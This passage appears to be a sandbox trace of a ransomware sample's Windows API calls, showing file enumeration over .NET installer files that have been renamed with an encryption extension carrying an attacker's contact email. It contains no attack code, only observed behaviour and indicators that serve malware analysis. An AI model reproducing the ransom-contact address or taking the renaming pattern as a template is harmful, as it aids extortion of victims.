cFileName="UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="UIINFO~1.COM")) returned 1 [0242.528] FindNextFileW (in: hFindFile=0x6ec470, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34fc5375, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34fc5375, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35011763, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="UIINFO~1.COM")) returned 0 [0242.528] FindClose (in: hFindFile=0x6ec470 | out: hFindFile=0x6ec470) returned 1 [0242.530] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.530] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0242.530] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec230 [0242.542] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.548] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x33d971d0, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x33d971d0, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3447202d, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PRINTI~1.COM")) returned 1 [0242.548] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34556e66, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34556e66, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x346880ad, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="ROTATE~4.COM")) returned 1 [0242.549] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x344a36f0, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x344a36f0, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3457cecc, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="ROTATE~2.COM")) returned 1 [0242.549] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x344a36f0, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x344a36f0, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x345a73ae, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="ROTATE~1.COM")) returned 1 [0242.549] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x344a36f0, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x344a36f0, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x345f2e3f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="ROTATE~3.COM")) returned 1 [0242.549] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x345a73ae, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x345a73ae, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x346ae1ee, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="ROA96A~1.COM")) returned 1 [0242.550] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x345cbd7c, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x345cbd7c, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x346fa74c, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="ROF71C~1.COM")) returned 1 [0242.550] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3461cce7, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3461cce7, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x347208ee, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="RO46CD~1.COM")) returned 1 [0242.550] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x347208ee, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x347208ee, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x348c4392, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="RO7B80~1.COM")) returned 1 [0242.550] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x347208ee, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x347208ee, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x347b92bb, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SAVEIC~1.COM")) returned 1 [0242.550] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x347df63f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x347df63f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3489e07a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPI~1.COM")) returned 1 [0242.551] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x347df63f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x347df63f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x348c4392, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="STOPIC~1.COM")) returned 1 [0242.551] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34877f06, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34877f06, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34b0064c, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SYSREQ~1.COM")) returned 1 [0242.551] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3489e07a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3489e07a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x349cf2f3, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SYSREQ~2.COM")) returned 1 [0242.551] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x348c4392, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x348c4392, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34a048fd, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WARNIC~1.COM")) returned 1 [0242.552] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x348c4392, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x348c4392, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34a048fd, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WARNIC~1.COM")) returned 0 [0242.552] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0242.555] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.555] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352e63c2, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x352e63c2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x354fc4ca, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="HEADER~1.COM")) returned 1 [0242.555] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x36233750, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="NETFX_~1.COM")) returned 1 [0242.555] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x359cf756, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="NETFX_~2.COM")) returned 1 [0242.664] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x34b72d9a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x34b72d9a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x34e93fc8, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="NETFX_~3.COM")) returned 1 [0242.664] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x3d10b492, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="NETFX_~4.COM")) returned 1 [0242.664] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352e63c2, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x352e63c2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x354b166d, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="NE83E0~1.COM")) returned 1 [0242.664] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35b6714b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35b6714b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35d09177, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="NE34CD~1.COM")) returned 1 [0242.664] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35548898, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35548898, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35607429, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="PARAME~1.COM")) returned 1 [0242.664] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35b8bf3b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35b8bf3b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35c95c42, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="RGB9RA~1.COM")) returned 1 [0242.664] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35cc2f06, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35cc2f06, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35e8dd86, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="RGB9RA~2.COM")) returned 1 [0242.665] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35da3e06, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35da3e06, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35f3871b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPE~1.COM")) returned 1 [0242.665] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35ec5da0, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35ec5da0, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3619ad6b, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPE~2.COM")) returned 1 [0242.665] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35f5ea77, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35f5ea77, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3606ab1f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPU~2.COM")) returned 1 [0242.665] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x352e63c2, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x352e63c2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x354d6b20, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPU~1.COM")) returned 1 [0242.665] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x360b6085, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x360b6085, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x361e71da, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPU~3.COM")) returned 1 [0242.665] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x354fc4ca, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x354fc4ca, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3565395a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SPLASH~1.COM")) returned 1 [0242.666] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3620e18b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3620e18b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3636490a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SQMAPI~1.COM")) returned 1 [0242.666] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x355227e1, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x355227e1, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3565395a, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="STRING~1.COM")) returned 1 [0242.666] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x35548898, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x35548898, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3569fdbe, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="UIINFO~1.COM")) returned 1 [0242.666] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3565395a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3565395a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x35784dea, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WATERM~1.COM")) returned 1 [0242.666] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x373cb80c, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WINDOW~1.COM")) returned 1 [0242.666] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x370c4303, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="WINDOW~2.COM")) returned 1 [0242.667] FindNextFileW (in: hFindFile=0x64a398, 